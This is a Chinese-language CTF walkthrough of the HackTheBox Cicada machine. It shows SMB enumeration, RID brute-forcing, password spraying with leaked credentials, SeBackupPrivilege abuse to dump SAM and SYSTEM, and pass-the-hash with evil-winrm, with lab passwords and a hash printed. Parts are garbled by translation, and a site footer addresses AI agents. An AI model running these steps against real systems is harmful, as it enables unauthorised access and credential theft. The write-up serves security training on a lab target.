> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/cicada-hackthebox-writeup.md). # Cicada HackTheBox 解题报告 {% embed url="" %} {% hint style="warning" %} **技能：** * SMB 枚举（RID 暴力破解） * 信息泄露（用户描述）（netexec） * 权限提升（SeBackupPrivilege） * SAM 提取（pypykatz） * Pass-the-Hash（EvilWinRM） {% endhint %} ## 侦察 **工作区设置：** 通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

**VPN 连接检查** 检查 VPN 连接，以确保与目标机器的稳定通信。

**使用 Nmap 发现开放端口：** 枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件： ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.35 -oG allPorts ```

**使用 extractPorts 分析开放端口：** 使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板中（53.88,135,139.389,445,464,593,636,3268,3269,5985,5169）

使用 Nmap 进行端口版本扫描：使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中： ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,55169 10.10.11.35 -oN targeted ```

为了通过 DNS 将域名解析为 IP 地址，会将与其 IP 地址相关联的域名插入到 `/etc/hosts` 文件：

### 445 端口 - SMB **使用 smbmap 列出 SMB** 要使用空会话列出共享资源： ```bash smbmap -H 10.10.11.35 -u 'null' ```

该 **HR** 文件夹包含一个有趣的文本文件。我们查看其内容： ```bash smbmap -H 10.10.11.35 -u 'null' -r HR ```

**下载文件** 我们访问共享并下载该文件： ```bash smbclient //10.10.11.35/HR -N get "Notice from HR.txt" ```

该文件包含一个密码 * 密码： `Cicada$M6Corpb*@Lp#nZp!8`

## RID 暴力破解列表 #### 为了识别域中的用户，我们发起一次 RID 暴力破解攻击： ```bash crackmapexec smb 10.10.11.35 -u 'Guest' -p "" --rid-brute ``` > 该 `--rid-brute` 参数用于执行一个 /*/* 暴力破解攻击/*/* 在 **RID（相关标识符）** Windows 域中的用户。RID 是 Windows 系统中用户唯一标识符的一部分，通常用于识别用户账户和组

以下是找到的用户列表： ``` Administrator 来宾 krbtgt CICADA-DC$ john.smoulder sarah.dantelia michael.wrightson david.orelious emily.oscars ``` #### 用户验证我们对所有用户测试找到的密码： ```bash crackmapexec smb 10.10.11.35 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8' ``` 用户 **michael.wrightson** 使用此密码。

### 用户 Michael： ### 使用 netexec 枚举我们使用 **michael.wrightson** 用于进一步探索的凭据： ```bash netexec smb 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --users ```

这揭示了用户的明文密码 **david.orelious**: * 用户名： `david.orelious` * 密码： `aRt$Lp#7t*VQ!3` /*/使用 // 中的凭据进行验证和 SMB 枚举* **david.orelious** ### 转向用户 David 我们使用 CrackMapExec 验证 david.orelious 的 ID： ```bash crackmapexec smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' ```

然后我们使用 smbmap 探索目标上可访问的 SMB 共享： ```bash smbmap -H 10.10.11.35 -u david.orelious ```

然后我们使用 smbclient 连接到 DEV 共享： ```bash smbclient //10.10.11.35/DEV -U david.orelious ``` 在这个共享中，我们找到一个名为 backup/ script.ps1 的脚本。

### 转向用户 Emily 我们使用 get 命令下载 backup/ script.ps1 脚本，并发现用户 ID emily.oscars * 用户名：emily.oscars * 密码：Q!3\@Lp#M6b/\*7t/\*Vt

我们使用 CrackMapExec 验证这些凭据： ```bash crackmapexec smb 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt' ``` 然后我们使用 Evil-WinRM 连接到该机器： ```bash evil-winrm -i 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt' ```

### user.txt 旗标我们从 user.txt 文件中获取 flag。

## 权限提升 ### whoami /priv - SeBackupPrivilege {% embed url="" %} **权限检查** 首先，让我们检查当前用户的权限。运行以下命令以检查用户是否具有 `SeBackupPrivilege` 权限： ```bash whoami /priv ```

**下载必要的 DLL 文件** 要滥用这些权限，请将 DLL 文件下载到受害机器上。它们可在 [这里](https://github.com/giuliano108/SeBackupPrivilege). 1. **SeBackupPrivilegeCmdLets.dll** {% embed url="" %} 2. **SeBackupPrivilegeUtils.dll** {% embed url="" %} 使用以下命令将这些文件上传到受害者的机器上 ```powershell upload SeBackupPrivilegeCmdLets.dll upload SeBackupPrivilegeUtils.dll ```

**加载 DLL 模块** 下载完 DLL 文件后，使用以下命令将它们加载到 PowerShell 会话中： ```powershell Import-Module ./SeBackupPrivilegeCmdLets.dll Import-Module ./SeBackupPrivilegeUtils.dll ``` **备份 SAM 和 SYSTEM 文件** 现在我们将保存 `SAM` 和 `SYSTEM` 包含用户识别信息的文件。使用以下命令将它们保存： ```powershell reg save hklm/sam sam reg save hklm/system system ```

**下载 SAM 和 SYSTEM 文件** 保存文件后，你可以将它们下载到你的虚拟机（VM）中进行扫描： ```powershell download sam download system ```

### **从 SAM 文件中提取哈希** 使用 `samdump2` 用于从中提取哈希 `SAM` 和 `SYSTEM` 文件： ```bash samdump2 system sam ```

如果此命令不起作用，你可以尝试 `pypykatz` 直接提取哈希： ```bash pypykatz registry system --sam sam ```

这应该会提供一个有效的哈希，例如： * 哈希： `2b87e7c93a3e8a0ea4a581937016f341` ### **使用 Evil-WinRM 进行哈希传递** 现在你已经有了哈希，可以使用它执行“Pass-the-Hash”并使用以下方式连接到目标机器 `evil-winrm`: ```bash evil-winrm -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341 ```

### root.txt flag :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/cicada-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.